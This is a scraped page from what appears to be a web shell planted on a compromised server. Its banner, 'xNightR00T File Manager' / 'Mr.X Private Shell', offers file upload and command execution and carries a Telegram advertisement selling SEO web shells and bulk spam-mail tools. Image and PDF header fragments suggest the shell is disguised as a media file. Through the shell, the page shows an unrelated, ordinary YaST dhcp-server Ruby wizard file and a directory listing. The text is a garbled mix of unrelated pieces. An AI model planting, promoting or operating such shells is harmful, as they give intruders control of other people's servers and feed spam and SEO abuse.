xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	modules/DhcpServer.ycp
# Package:	Configuration of dhcp-server
# Summary:	Data for configuration of dhcp-server,
#              input and output functions.
# Authors:	Jiri Srain <jsrain@suse.cz>
#
# $Id$
#
# Representation of the configuration of dhcp-server.
# Input and output routines.
module Yast
  module DhcpServerWizardsInclude
    def initialize_dhcp_server_wizards(include_target)
      textdomain "dhcp-server"

      Yast.import "Directory"
      Yast.import "Wizard"
      Yast.import "Sequencer"
    end

    def FirstRunSequence
      aliases = {
        "cardselection"  => lambda { FirstRunDialog("card_selection", 1) },
        "globalsettings" => lambda { FirstRunDialog("global_settings", 2) },
        "dynamicdhcp"    => lambda { FirstRunDialog("dynamic_dhcp", 3) },
        "inst_summary"   => lambda { FirstRunDialog("inst_summary", 4) }
      }

      sequence = {
        "ws_start"       => "cardselection",
        "cardselection"  => { :abort => :abort, :next => "globalsettings" },
        "globalsettings" => { :abort => :abort, :next => "dynamicdhcp" },
        "dynamicdhcp"    => { :abort => :abort, :next => "inst_summary" },
        "inst_summary"   => { :abort => :abort, :next => :next, :main => :main }
      }

      ret = Sequencer.Run(aliases, sequence)

      deep_copy(ret)
    end

    # Run wizard sequencer
    # @return `next, `back or `abort
    def MainSequence
      aliases = {
        "configtype_switch"   => [lambda { ConfigTypeSwitch() }, true],
        "commonsetup"         => lambda { CommonConfigDialog() },
        "ifaces_switch"       => [lambda { CheckConfiguredInterfaces() }, true],
        "main"                => lambda { OldMainDialog() },
        "globals"             => lambda { GlobalsDialog() },
        "subnet"              => lambda { SubnetDialog() },
        "host"                => lambda { HostDialog() },
        "shared-network"      => lambda { SharedNetworkDialog() },
        "pool"                => lambda { PoolDialog() },
        "group"               => lambda { Groupdialog() },
        "class"               => lambda { ClassDialog() },
        "section_type_choose" => lambda { SectionTypeChoose() },
        "interfaces"          => lambda { IfacesDialog(false) },
        "interfaces_initial"  => lambda { IfacesDialog(true) },
        "dyn_dns"             => lambda { DynDnsDialog() },
        "section_type_select" => [lambda { SelectEditationDialog() }, true],
        "store"               => [lambda { SectionStore() }, true],
        "tsig_keys"           => lambda { RunTsigKeysDialog(false) },
        "tsig_keys_1"         => lambda { RunTsigKeysDialog(true) }
      }

      sequence = {
        "ws_start"            => "configtype_switch",
        "configtype_switch"   => { :simple => "commonsetup", :expert => "main" },
        "commonsetup"         => {
          :abort  => :abort,
          :next   => :next,
          :cancel => :cancel,
          :expert => "ifaces_switch"
        },
        "ifaces_switch"       => {
          :main   => "main",
          :ifaces => "interfaces_initial"
        },
        "interfaces_initial"  => { :abort => :abort, :next => "main" },
        "main"                => {
          :next       => :next,
          :abort      => :abort,
          :edit       => "section_type_select",
          :add        => "section_type_choose",
          :interfaces => "interfaces",
          :tsig_keys  => "tsig_keys"
        },
        "tsig_keys"           => { :next => "main", :abort => :abort },
        "section_type_choose" => {
          :abort => :abort,
          :next  => "section_type_select"
        },
        "section_type_select" => {
          :abort          => :abort,
          :global         => "globals",
          :subnet         => "subnet",
          :host           => "host",
          :group          => "group",
          :pool           => "pool",
          :shared_network => "shared-network",
          :class          => "class"
        },
        "globals"             => { :next => "store", :abort => :abort },
        "subnet"              => {
          :next      => "store",
          :abort     => :abort,
          :dyn_dns   => "dyn_dns",
          :tsig_keys => "tsig_keys_1"
        },
        "host"                => { :next => "store", :abort => :abort },
        "group"               => { :next => "store", :abort => :abort },
        "pool"                => { :next => "store", :abort => :abort },
        "shared-network"      => { :next => "store", :abort => :abort },
        "class"               => { :next => "store", :abort => :abort },
        "store"               => { :abort => :abort, :next => "main" },
        "interfaces"          => { :abort => :abort, :next => "main" },
        "dyn_dns"             => {
          :abort     => :abort,
          :next      => "subnet",
          :tsig_keys => "tsig_keys_1"
        },
        "tsig_keys_1"         => {
          :abort  => :abort,
          :next   => "dyn_dns",
          :subnet => "subnet"
        }
      }

      # run wizard sequencer
      Sequencer.Run(aliases, sequence)
    end

    # Whole configuration of dns-server in AI mode
    # @return sequence result
    def DhcpAutoSequence
      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("dhcp-server")
      Wizard.SetContentsButtons(
        "",
        VBox(),
        "",
        Label.BackButton,
        Label.NextButton
      )
      ret = MainSequence()
      UI.CloseDialog
      ret
    end

    # Whole configuration of dns-server
    # @return sequence result
    def DhcpSequence
      aliases = {
        "read"   => [lambda { ReadDialog() }, true],
        "wizard" => lambda { FirstRunSequence() },
        "main"   => lambda { MainSequence() },
        "write"  => [lambda { WriteDialog() }, true]
      }

      sequence = {
        "ws_start" => "read",
        "read"     => { :abort => :abort, :next => "main", :wizard => "wizard" },
        "main"     => { :abort => :abort, :next => "write" },
        "wizard"   => { :abort => :abort, :next => "write", :main => "main" },
        "write"    => { :abort => :abort, :next => :next }
      }

      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("dhcp-server")
      ret = Sequencer.Run(aliases, sequence)

      UI.CloseDialog

      if ret == :next
        SCR.Execute(
          path(".target.bash"),
          Ops.add(Ops.add("touch ", Directory.vardir), "/dhcp_server_done_once")
        )
      end

      ret
    end
  end
end

Filemanager

Name Type Size Permission Actions
commandline.rb File 18.92 KB 0644
dialogs.rb File 17.35 KB 0644
dialogs2.rb File 68.16 KB 0644
dns-helps.rb File 7.74 KB 0644
dns-server-dialogs.rb File 22.48 KB 0644
dns-server-management.rb File 32.32 KB 0644
dns-server-wizard.rb File 40.66 KB 0644
helps.rb File 13.27 KB 0644
misc.rb File 1.12 KB 0644
options.rb File 39.38 KB 0644
routines.rb File 2.95 KB 0644
widgets.rb File 41.39 KB 0644
wizards.rb File 6.42 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1